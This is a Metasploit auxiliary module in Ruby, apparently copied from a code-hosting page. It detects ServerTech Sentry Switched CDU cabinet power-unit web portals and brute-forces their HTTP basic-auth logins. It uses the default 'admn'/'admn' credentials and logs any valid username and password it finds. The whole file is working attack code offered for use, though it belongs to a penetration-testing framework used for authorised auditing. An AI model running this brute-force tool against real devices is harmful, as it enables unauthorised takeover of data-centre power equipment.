133 lines
3.7 KiB
Ruby
133 lines
3.7 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'rex/proto/http'
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class MetasploitModule < Msf::Auxiliary
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include Msf::Exploit::Remote::HttpClient
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include Msf::Auxiliary::Report
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include Msf::Auxiliary::AuthBrute
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include Msf::Auxiliary::Scanner
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def initialize(info={})
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super(update_info(info,
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'Name' => 'Sentry Switched CDU Bruteforce Login Utility',
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'Description' => %{
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This module scans for ServerTech's Sentry Switched CDU (Cabinet Power
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Distribution Unit) web login portals, and performs login brute force
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to identify valid credentials.
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},
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'Author' =>
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[
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'Karn Ganeshen <KarnGaneshen[at]gmail.com>',
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],
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'License' => MSF_LICENSE
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))
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register_options(
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[
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OptString.new('USERNAME', [true, "A specific username to authenticate as, default 'admn'", "admn"]),
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OptString.new('PASSWORD', [true, "A specific password to authenticate with, deault 'admn'", "admn"])
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])
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end
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def run_host(ip)
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unless is_app_sentry?
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print_error("#{rhost}:#{rport} - Sentry Switched CDU not found. Module will not continue.")
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return
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end
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print_status("#{rhost}:#{rport} - Starting login brute force...")
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each_user_pass do |user, pass|
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do_login(user, pass)
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end
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end
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#
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# What's the point of running this module if the app actually isn't Sentry
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#
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def is_app_sentry?
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begin
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res = send_request_cgi(
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{
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'uri' => '/',
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'method' => 'GET'
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})
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rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
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return false
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end
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if (res and res.body.include?("Sentry Switched CDU"))
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vprint_good("#{rhost}:#{rport} - Running ServerTech Sentry Switched CDU")
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return true
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else
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return false
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end
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end
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def report_cred(opts)
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service_data = {
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address: opts[:ip],
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port: opts[:port],
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service_name: opts[:service_name],
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protocol: 'tcp',
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workspace_id: myworkspace_id
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}
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credential_data = {
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origin_type: :service,
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module_fullname: fullname,
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username: opts[:user],
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private_data: opts[:password],
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private_type: :password
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}.merge(service_data)
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login_data = {
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last_attempted_at: Time.now,
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core: create_credential(credential_data),
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status: Metasploit::Model::Login::Status::SUCCESSFUL,
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proof: opts[:proof]
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}.merge(service_data)
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create_credential_login(login_data)
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end
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#
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# Brute-force the login page
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#
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def do_login(user, pass)
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vprint_status("#{rhost}:#{rport} - Trying username:#{user.inspect} with password:#{pass.inspect}")
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begin
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res = send_request_cgi(
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{
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'uri' => '/index.html',
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'method' => 'GET',
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'authorization' => basic_auth(user,pass)
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})
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if res and !res.get_cookies.empty?
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print_good("#{rhost}:#{rport} - SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}")
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report_cred(
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ip: rhost,
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port: rport,
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service_name: 'ServerTech Sentry Switched CDU',
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user: user,
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password: pass,
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proof: res.get_cookies.inspect
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)
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return :next_user
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else
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vprint_error("#{rhost}:#{rport} - FAILED LOGIN - #{user.inspect}:#{pass.inspect}")
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end
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rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE
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print_error("#{rhost}:#{rport} - HTTP Connection Failed, Aborting")
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return :abort
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end
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end
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end
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